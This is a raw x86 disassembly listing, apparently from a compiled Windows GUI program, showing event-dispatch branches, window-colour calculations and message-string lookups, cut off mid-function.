add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x19
call fcn.005441b3
push eax
push eax
call fcn.005729c0
mov ebx, eax
call fcn.005729c0
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.005728e0
test eax, eax
je 0x510e56
mov dword [0x76036c], 0x12b8
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.SPLITTER
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x677f70
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
add dword [0x765a20], 2
call fcn.005729f0
mov dword [esp + 4], eax
mov dword [esp], 0x1c
call fcn.00544292
push edi
push edi
call fcn.00572990
mov dword [0x76036c], 0x12b9
jmp 0x510cd4
mov dword [0x76036c], 0x12b6
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.SPLITTER
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x673cac
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
add dword [0x765a20], 2
call fcn.005729f0
mov dword [esp + 4], eax
mov dword [esp], 0x1c
call fcn.00544292
push edi
push edi
call fcn.00572990
mov dword [0x76036c], 0x12b7
mov dword [0x76036c], 0x12bf
nop
mov dword [0x76036c], 0x1588
call fcn.0055bd35
mov dword [0x76036c], 0x1589
mov dword [0x76036c], 0x1589
cmp eax, 0x4000b
je 0x515c92
mov dword [0x76036c], 0x164d
mov dword [0x76036c], 0x164d
cmp eax, 0x40000
je 0x5177df
mov dword [0x76036c], 0x165a
mov dword [0x76036c], 0x165a
cmp eax, 0x40008
je 0x5179fd
mov dword [0x76036c], 0x1667
mov dword [0x76036c], 0x1667
cmp eax, 0x40001
je 0x517bed
mov dword [0x76036c], 0x166b
mov dword [0x76036c], 0x166b
cmp eax, 0x40002
je 0x517c22
mov dword [0x76036c], 0x167f
mov dword [0x76036c], 0x167f
cmp eax, 0x40003
je 0x517fb8
mov dword [0x76036c], 0x1682
mov dword [0x76036c], 0x1682
cmp eax, 0x40004
je 0x517fcf
mov dword [0x76036c], 0x1685
mov dword [0x76036c], 0x1685
cmp eax, 0x40005
je 0x518016
mov dword [0x76036c], 0x1688
mov dword [0x76036c], 0x1688
cmp eax, 0x40006
je 0x51805b
mov dword [0x76036c], 0x168e
mov dword [0x76036c], 0x168e
cmp eax, 0x40007
jne 0x50de70
mov dword [0x76036c], 0x168f
mov dword [0x76005c], 1
mov dword [0x76036c], 0x1690
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ef0c0
push eax
jmp 0x50de70
mov dword [0x76036c], 0x12b9
mov dword [0x76036c], 0x12ba
mov dword [esp + 4], 0x7603dc
mov dword [esp], 0x1c
call fcn.00544292
push ebp
push ebp
mov dword [0x76036c], 0x12bb
mov dword [esp + 4], 1
mov dword [esp], 2
call fcn.0055a3fa
push eax
push eax
mov dword [0x76036c], 0x12bc
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.0055a4e2
push eax
push eax
mov dword [0x76036c], 0x12be
mov dword [esp], 0x1b
call fcn.00542b42
push edx
mov esi, eax
mov dword [esp], 0x19
call fcn.00542b42
push ecx
mov dword [esp + 4], eax
mov dword [esp], 0x19
call fcn.00549136
push ebx
push ebx
mov ebx, eax
mov dword [esp], 0x17
call fcn.00542b42
push edi
mov dword [esp + 4], eax
mov dword [esp], 0x17
call fcn.00549136
push ebp
push ebp
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.004da910
sub esp, 0xc
jmp 0x510cd4
mov dword [0x76036c], 0x12c2
mov dword [esp + 4], 1
mov dword [esp], 2
call fcn.0055a3fa
push eax
push eax
mov dword [0x76036c], 0x12c3
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.0055a4e2
push eax
push eax
mov dword [0x76036c], 0x12c5
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ca890
push eax
push eax
jmp 0x510ce0
mov dword [0x76036c], 0x12c8
call fcn.0055bd35
mov dword [0x76036c], 0x12c9
mov dword [0x76036c], 0x12c9
test eax, eax
je 0x5110b5
mov dword [0x76036c], 0x12d1
mov dword [0x76036c], 0x12d1
cmp eax, 2
je 0x511116
mov dword [0x76036c], 0x12da
mov dword [0x76036c], 0x12da
cmp eax, 0x36b2
jne 0x510ce0
mov dword [0x76036c], 0x12db
mov dword [esp], 0x10
call fcn.005426ed
push edi
mov dword [0x76036c], 0x12dc
call fcn.00572920
call fcn.00572920
mov dword [esp], 0x10
call fcn.00542b42
push ebp
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], 0x10
call fcn.0054427c
sub esp, 0xc
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760110
call fcn.00572aa0
push eax
push eax
mov dword [0x76036c], 0x12df
mov eax, dword [0x760110]
mov dword [esp + 4], eax
mov dword [esp], 0x66bc10
call fcn.005728e0
test eax, eax
jne 0x511353
mov dword [0x76036c], 0x12e1
mov dword [0x76036c], 0x12e2
mov eax, dword [0x760110]
mov dword [esp], eax
call fcn.005420d8
push esi
mov dword [0x76036c], 0x12e3
jmp 0x510ce0
mov dword [0x76036c], 0x12ca
cmp dword [0x7602b4], 0
jne 0x5110f4
mov dword [0x76036c], 0x12cd
mov dword [0x76036c], 0x12ce
cmp dword [0x760130], 1
je 0x511105
mov dword [0x76036c], 0x12d0
jmp 0x510ce0
mov dword [0x76036c], 0x12cc
call fcn.00418840
jmp 0x5110c8
mov dword [0x76036c], 0x12cf
call fcn.00406af0
jmp 0x5110e5
mov dword [0x76036c], 0x12d2
cmp dword [0x760050], 0
je 0x511260
mov dword [0x76036c], 0x12d7
mov dword [0x76036c], 0x12d8
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e9e0
call fcn.0056fd80
push ebp
push ebp
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push esi
push esi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ebp
push ebp
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x12d9
jmp 0x510ce0
mov dword [0x76036c], 0x12d3
call fcn.00572920
call fcn.00572920
mov dword [esp], 0x10
call fcn.00542b42
push edx
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], 0x10
call fcn.0054427c
sub esp, 0xc
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760110
call fcn.00572aa0
push ecx
push ecx
mov dword [0x76036c], 0x12d4
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0xa
mov eax, dword [0x760110]
mov dword [esp], eax
call fcn.004c90e0
sub esp, 0x14
mov dword [0x76036c], 0x12d5
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ef0c0
push esi
mov dword [0x76036c], 0x12d6
cmp dword [0x76007c], 0
je 0x51132e
mov dword [0x76036c], 0x12d6
mov dword [0x76036c], 0x12d7
jmp 0x511251
mov dword [0x76036c], 0x12d6
mov dword [0x76007c], 1
mov dword [0x76036c], 0x12d6
call fcn.0042a0e0
jmp 0x511315
mov dword [0x76036c], 0x12e0
call fcn.0042d970
mov dword [0x76036c], 0x12e1
jmp 0x5110a6
mov dword [0x76036c], 0x12e8
call fcn.0055bd35
mov dword [0x76036c], 0x12e9
mov dword [0x76036c], 0x12e9
test eax, eax
je 0x511481
mov dword [0x76036c], 0x12f2
mov dword [0x76036c], 0x12f2
cmp eax, 2
je 0x5114e2
mov dword [0x76036c], 0x12ff
mov dword [0x76036c], 0x12ff
cmp eax, 3
je 0x511705
mov dword [0x76036c], 0x1306
mov dword [0x76036c], 0x1306
cmp eax, 0x300
jne 0x510ce0
mov dword [0x76036c], 0x1307
mov dword [esp], 0xf
call fcn.00542b42
push ebp
mov dword [esp + 4], eax
mov dword [esp], 0xf
call fcn.00549136
push edx
push edx
mov dword [0x760310], eax
mov dword [0x76036c], 0x1308
mov dword [esp], eax
call fcn.00542b23
push ecx
cmp eax, 0x1c
je 0x5117ae
mov dword [0x76036c], 0x1316
mov dword [0x76036c], 0x1317
mov dword [esp + 4], 1
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.004ca890
push ecx
push ecx
test eax, eax
je 0x511933
mov dword [0x76036c], 0x1320
jmp 0x510ce0
mov dword [0x76036c], 0x12ea
cmp dword [0x7602b4], 0
jne 0x5114c0
mov dword [0x76036c], 0x12ed
mov dword [0x76036c], 0x12ee
cmp dword [0x760130], 1
je 0x5114d1
mov dword [0x76036c], 0x12f0
jmp 0x510ce0
mov dword [0x76036c], 0x12ec
call fcn.00418840
jmp 0x511494
mov dword [0x76036c], 0x12ef
call fcn.00406af0
jmp 0x5114b1
mov dword [0x76036c], 0x12f3
mov dword [esp], 0xf
call fcn.00542b42
push ecx
mov dword [esp + 4], eax
mov dword [esp], 0xf
call fcn.00549136
push ebx
push ebx
mov dword [0x760310], eax
mov dword [0x76036c], 0x12f4
cmp dword [0x760068], eax
je 0x511543
mov dword [0x76036c], 0x12f5
mov dword [esp], eax
call fcn.00408690
push edx
test eax, eax
jne 0x511552
mov dword [0x76036c], 0x12fd
mov dword [0x76036c], 0x12fe
jmp 0x510ce0
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.00406ba0
push ebp
test eax, eax
jne 0x511539
mov dword [0x76036c], 0x12f6
mov dword [esp + 4], 1
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.004ca890
push edi
push edi
test eax, eax
je 0x5116d2
mov dword [0x76036c], 0x12f7
cmp dword [0x76009c], 8
jle 0x5116e1
mov dword [0x76036c], 0x12f9
mov dword [0x76036c], 0x12fa
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push esi
push esi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x674b20
call fcn.0056fd80
push edi
push edi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push eax
push eax
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x12fb
mov dword [0x76036c], 0x12fc
jmp 0x511539
mov dword [0x76036c], 0x12f8
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.004b55b0
push ebx
mov dword [0x76036c], 0x12f9
jmp 0x5116c8
mov dword [0x76036c], 0x1300
mov dword [esp], 0xf
call fcn.00542b42
push edx
mov dword [esp + 4], eax
mov dword [esp], 0xf
call fcn.00549136
push ecx
push ecx
mov dword [0x760310], eax
mov dword [0x76036c], 0x1301
cmp eax, 2
je 0x51174a
cmp dword [0x760068], eax
je 0x511759
mov dword [0x76036c], 0x1305
jmp 0x510ce0
mov dword [esp], eax
call fcn.00408690
push ebp
test eax, eax
je 0x51174a
mov dword [0x76036c], 0x1302
mov dword [esp + 4], 1
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.004ca890
push edi
push edi
test eax, eax
jne 0x511797
mov dword [0x76036c], 0x1304
jmp 0x51174a
mov dword [0x76036c], 0x1303
xor ebx, ebx
mov dword [esp], ebx
call fcn.004b69c0
push esi
jmp 0x51178b
mov dword [0x76036c], 0x1309
call fcn.00572920
call fcn.00572920
mov dword [esp], 0xf
call fcn.00542b42
push ecx
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], 0xf
call fcn.0054427c
sub esp, 0xc
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760200
call fcn.00572aa0
push ebx
push ebx
mov dword [0x76036c], 0x130b
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.0056806d
push esi
mov dword [0x76036c], 0x130c
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.0056809e
push edi
jmp 0x51184a
mov dword [0x76036c], 0x1312
mov dword [0x76036c], 0x1313
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.005680b3
push esi
test eax, eax
je 0x511916
mov dword [0x76036c], 0x130c
mov dword [0x76036c], 0x130d
mov eax, dword [0x7603c8]
mov eax, dword [eax + 0x1c]
mov dword [esp + 4], eax
mov eax, dword [0x760200]
mov dword [esp], eax
call fcn.005728e0
test eax, eax
je 0x511836
mov edx, dword [0x7603c8]
mov eax, dword [edx + 8]
cmp eax, dword [0x760310]
jne 0x511836
mov edx, dword [edx + 0x3e]
cmp dword [0x760068], edx
jne 0x511836
cmp eax, edx
jne 0x511836
mov dword [0x76036c], 0x130e
mov dword [esp], eax
call fcn.00542b42
push ebp
mov dword [esp + 4], eax
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.00549136
push edx
push edx
mov edx, eax
mov eax, dword [0x7603c8]
mov eax, dword [eax + 0x42]
cmp eax, edx
je 0x511902
mov dword [0x76036c], 0x130f
mov dword [esp + 4], eax
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.00484fa0
push edi
push edi
mov dword [0x76036c], 0x1310
mov dword [0x76036c], 0x1311
mov dword [0x76036c], 0x1314
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.00568033
push ebx
jmp 0x51143f
mov dword [0x76036c], 0x1319
jmp 0x511956
mov dword [0x76036c], 0x131e
mov dword [0x76036c], 0x131f
add eax, 1
mov dword [0x760274], eax
mov dword [esp], 0xf
call fcn.005495d7
push edx
mov edx, eax
mov eax, dword [0x760274]
cmp eax, edx
jge 0x511472
mov dword [0x76036c], 0x131a
mov dword [esp + 4], eax
mov dword [esp], 0xf
call fcn.00549136
push ebp
push ebp
mov edx, dword [0x75ffe8]
cmp edx, eax
je 0x5119ca
mov eax, dword [0x760274]
test edx, edx
jne 0x51193f
mov dword [esp + 4], eax
mov dword [esp], 0xf
call fcn.00549136
push edi
push edi
cmp dword [0x760068], eax
je 0x5119ca
mov eax, dword [0x760274]
jmp 0x51193f
mov dword [0x76036c], 0x131b
mov eax, dword [0x760274]
mov dword [esp + 4], eax
mov dword [esp], 0xf
call fcn.00542744
push esi
push esi
mov dword [0x76036c], 0x131c
mov dword [esp + 8], 3
mov eax, dword [0x760274]
mov dword [esp + 4], eax
mov dword [esp], 0xf
call fcn.0054a59e
sub esp, 0xc
mov dword [0x76036c], 0x131d
jmp 0x511472
mov dword [0x76036c], 0x1325
call fcn.0055bd35
cmp eax, 0x300
je 0x511a49
mov dword [0x76036c], 0x133f
jmp 0x510ce0
mov dword [0x76036c], 0x1326
mov dword [esp], 0x13
call fcn.00542b42
push edx
mov dword [esp + 4], eax
mov dword [esp], 0x13
call fcn.00549136
push ecx
push ecx
mov dword [0x760310], eax
mov dword [0x76036c], 0x1327
mov dword [esp], eax
call fcn.00542b23
push ebx
cmp eax, 0x1c
je 0x511ad1
mov dword [0x76036c], 0x1335
mov dword [0x76036c], 0x1336
mov dword [esp + 4], 1
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.004ca890
push esi
push esi
test eax, eax
je 0x511c56
mov dword [0x76036c], 0x133e
jmp 0x511a3a
mov dword [0x76036c], 0x1328
call fcn.00572920
call fcn.00572920
mov dword [esp], 0x13
call fcn.00542b42
push ebx
mov ebx, eax
call fcn.00572950
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], 0x13
call fcn.0054427c
sub esp, 0xc
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760200
call fcn.00572aa0
push esi
push esi
mov dword [0x76036c], 0x132a
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.0056806d
push edi
mov dword [0x76036c], 0x132b
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.0056809e
push ebp
jmp 0x511b6d
mov dword [0x76036c], 0x1331
mov dword [0x76036c], 0x1332
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.005680b3
push ebp
test eax, eax
je 0x511c39
mov dword [0x76036c], 0x132b
mov dword [0x76036c], 0x132c
mov eax, dword [0x7603c8]
mov eax, dword [eax + 0x1c]
mov dword [esp + 4], eax
mov eax, dword [0x760200]
mov dword [esp], eax
call fcn.005728e0
test eax, eax
je 0x511b59
mov edx, dword [0x7603c8]
mov eax, dword [edx + 8]
cmp eax, dword [0x760310]
jne 0x511b59
mov edx, dword [edx + 0x3e]
cmp dword [0x760068], edx
jne 0x511b59
cmp eax, edx
jne 0x511b59
mov dword [0x76036c], 0x132d
mov dword [esp], eax
call fcn.00542b42
push edx
mov dword [esp + 4], eax
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.00549136
push ecx
push ecx
mov edx, eax
mov eax, dword [0x7603c8]
mov eax, dword [eax + 0x42]
cmp eax, edx
je 0x511c25
mov dword [0x76036c], 0x132e
mov dword [esp + 4], eax
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.00484fa0
push eax
push eax
mov dword [0x76036c], 0x132f
mov dword [0x76036c], 0x1330
mov dword [0x76036c], 0x1333
mov eax, dword [0x7603c4]
mov dword [esp], eax
call fcn.00568033
push edi
jmp 0x511a8f
mov dword [0x76036c], 0x1338
jmp 0x511c79
mov dword [0x76036c], 0x133c
mov dword [0x76036c], 0x133d
add eax, 1
mov dword [0x760274], eax
mov dword [esp], 0x13
call fcn.005495d7
push ebx
mov edx, eax
mov eax, dword [0x760274]
cmp eax, edx
jge 0x511ac2
mov dword [0x76036c], 0x1339
mov dword [esp + 4], eax
mov dword [esp], 0x13
call fcn.00549136
push ecx
push ecx
mov edx, dword [0x75ffe8]
cmp edx, eax
je 0x511ced
mov eax, dword [0x760274]
test edx, edx
jne 0x511c62
mov dword [esp + 4], eax
mov dword [esp], 0x13
call fcn.00549136
push edx
push edx
cmp dword [0x760068], eax
je 0x511ced
mov eax, dword [0x760274]
jmp 0x511c62
mov dword [0x76036c], 0x133a
mov eax, dword [0x760274]
mov dword [esp + 4], eax
mov dword [esp], 0x13
call fcn.00542744
push ebp
push ebp
mov dword [0x76036c], 0x133b
jmp 0x511ac2
mov dword [0x76036c], 0x1342
call fcn.0055bd35
cmp eax, 0x300
je 0x511d42
mov dword [0x76036c], 0x1346
jmp 0x510ce0
mov dword [0x76036c], 0x1343
call fcn.00549604
mov dword [0x760338], eax
mov dword [0x76036c], 0x1344
mov dword [esp], 0x1f
call fcn.005426ed
push esi
mov dword [0x76036c], 0x1345
mov eax, dword [0x760338]
mov dword [esp], eax
call fcn.005426ed
push edi
jmp 0x511d33
mov dword [0x76036c], 0x1349
call fcn.0055bd35
mov dword [0x76036c], 0x134a
mov dword [0x76036c], 0x134a
cmp eax, 0x10001
je 0x511e24
mov dword [0x76036c], 0x1357
mov dword [0x76036c], 0x1357
test eax, eax
je 0x5120f3
mov dword [0x76036c], 0x136c
mov dword [0x76036c], 0x136c
cmp eax, 0x10002
jne 0x510ce0
mov dword [0x76036c], 0x136d
call fcn.0055bc7e
mov dword [esp], eax
call fcn.00543f1f
push ecx
mov dword [esp], eax
call fcn.0055ddd1
push ebx
test eax, eax
jne 0x51240a
mov dword [0x76036c], 0x1374
jmp 0x510ce0
mov dword [0x76036c], 0x134b
call fcn.0055bc7e
mov dword [esp], eax
call fcn.00543f1f
push ecx
mov dword [esp], eax
call fcn.0055ddd1
push ebx
test eax, eax
jne 0x511e58
mov dword [0x76036c], 0x1355
jmp 0x510ce0
mov dword [0x76036c], 0x134c
mov dword [0x76036c], 0x134c
mov dword [0x76036c], 0x134c
mov dword [0x76036c], 0x134c
mov dword [0x76015c], 0xff9933
mov dword [0x76036c], 0x134d
mov dword [esp], 0xff9933
call fcn.0055dc8f
push edx
mov dword [esp + 0x28], eax
mov eax, dword [0x7601fc]
mov dword [esp], eax
call fcn.0055dc8f
push ecx
fild dword [esp + 0x28]
fmul qword [0x60d1a0]
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
fmul qword [0x60d1a8]
faddp st(1)
fstp qword [esp + 0x40]
fld qword [esp + 0x40]
fistp qword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov dword [0x76026c], eax
mov dword [0x76036c], 0x134e
mov eax, dword [0x76015c]
mov dword [esp], eax
call fcn.0055dc99
push ebx
mov dword [esp + 0x28], eax
mov eax, dword [0x7601fc]
mov dword [esp], eax
call fcn.0055dc99
push esi
fild dword [esp + 0x28]
fmul qword [0x60d1a0]
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
fmul qword [0x60d1a8]
faddp st(1)
fstp qword [esp + 0x40]
fld qword [esp + 0x40]
fistp qword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov dword [0x760278], eax
mov dword [0x76036c], 0x134f
mov eax, dword [0x76015c]
mov dword [esp], eax
call fcn.0055dca8
push edi
mov dword [esp + 0x28], eax
mov eax, dword [0x7601fc]
mov dword [esp], eax
call fcn.0055dca8
push ebp
fild dword [esp + 0x28]
fmul qword [0x60d1a0]
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
fmul qword [0x60d1a8]
faddp st(1)
fstp qword [esp + 0x40]
fld qword [esp + 0x40]
fistp qword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov dword [0x760284], eax
mov dword [0x76036c], 0x1350
mov dword [esp + 8], eax
mov eax, dword [0x760278]
mov dword [esp + 4], eax
mov eax, dword [0x76026c]
mov dword [esp], eax
call fcn.0055dcb7
sub esp, 0xc
mov esi, eax
call fcn.0055dcdc
mov ebx, eax
call fcn.0055dce8
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.0055df7c
sub esp, 0x1c
mov dword [0x76036c], 0x1351
mov dword [esp], 4
call fcn.0055dccc
push eax
mov dword [0x76036c], 0x1351
mov dword [esp], 0xd
call sub.USER32.dll_GetSysColor
push edx
mov esi, eax
call fcn.0055dcdc
mov ebx, eax
call fcn.0055dce8
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], ecx
call fcn.0055df7c
sub esp, 0x1c
mov dword [0x76036c], 0x1352
mov dword [esp], 0x10
call fcn.0055dccc
push ebx
mov dword [0x76036c], 0x1353
call fcn.0055dcdc
mov ebp, eax
mov dword [esp], 5
call fcn.00566f21
push esi
mov esi, eax
call fcn.0055dce8
mov ebx, eax
mov dword [esp], 5
call fcn.00566f3f
push edi
mov edi, eax
mov dword [esp], 5
call fcn.00566d16
push edx
mov dword [esp], eax
mov eax, ebp
sub eax, esi
mov ecx, 2
cdq
idiv ecx
mov dword [esp + 8], eax
mov eax, ebx
sub eax, edi
cdq
idiv ecx
mov dword [esp + 4], eax
call fcn.0055de36
sub esp, 0xc
mov dword [0x76036c], 0x1354
call fcn.0055dea5
jmp 0x511e49
mov dword [0x76036c], 0x1358
cmp dword [0x760050], 0
je 0x51223d
mov dword [0x76036c], 0x1368
mov dword [0x76036c], 0x1369
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x67a080
call fcn.0056fd80
push eax
push eax
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push esi
push esi
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ebp
push ebp
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x136a
jmp 0x510ce0
mov dword [0x76036c], 0x1359
mov dword [esp], 0x13
call fcn.00542b42
push edi
test eax, eax
jle 0x512323
mov dword [0x76036c], 0x135a
mov dword [esp], 0x13
call fcn.00542b42
push ecx
mov dword [esp + 4], eax
mov dword [esp], 0x13
call fcn.00549136
push ebx
push ebx
mov dword [0x760310], eax
mov dword [0x76036c], 0x135b
mov dword [esp], eax
call fcn.00542b23
push esi
cmp eax, 0x1c
mov eax, dword [0x760310]
je 0x51233c
mov dword [0x76036c], 0x1361
mov dword [0x76036c], 0x1362
mov dword [esp + 4], 1
mov dword [esp], eax
call fcn.004cdf20
push edi
push edi
mov dword [0x76036c], 0x1363
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ef0c0
push ebp
mov dword [0x76036c], 0x1364
cmp dword [0x76007c], 0
je 0x5123e2
mov dword [0x76036c], 0x1364
mov dword [0x76036c], 0x1365
call fcn.004b1b70
mov dword [0x76036c], 0x1366
mov dword [0x76036c], 0x1367
mov dword [0x76036c], 0x1368
jmp 0x51222e
cmp eax, dword [0x760068]
jne 0x5122ab
mov dword [0x76036c], 0x135c
mov dword [esp], eax
call fcn.005495d7
push edx
sub eax, 1
jle 0x5123a4
mov dword [0x76036c], 0x135d
mov eax, dword [0x760310]
mov dword [esp], eax
call fcn.004cd570
push esi
mov dword [0x76036c], 0x135e
cmp dword [0x76007c], 0
je 0x5123bd
mov dword [0x76036c], 0x135e
mov dword [0x76036c], 0x135f
call fcn.004b1b70
mov dword [0x76036c], 0x1360
mov dword [0x76036c], 0x1361
jmp 0x512319
mov dword [0x76036c], 0x135e
mov dword [0x76007c], 1
mov dword [0x76036c], 0x135e
call fcn.0042a0e0
jmp 0x51238b
mov dword [0x76036c], 0x1364
mov dword [0x76007c], 1
mov dword [0x76036c], 0x1364
call fcn.0042a0e0
jmp 0x512300
mov dword [0x76036c], 0x136e
call fcn.0055dcdc
mov ebx, eax
call fcn.0055dce8
mov edx, dword [0x7601fc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
xor eax, eax
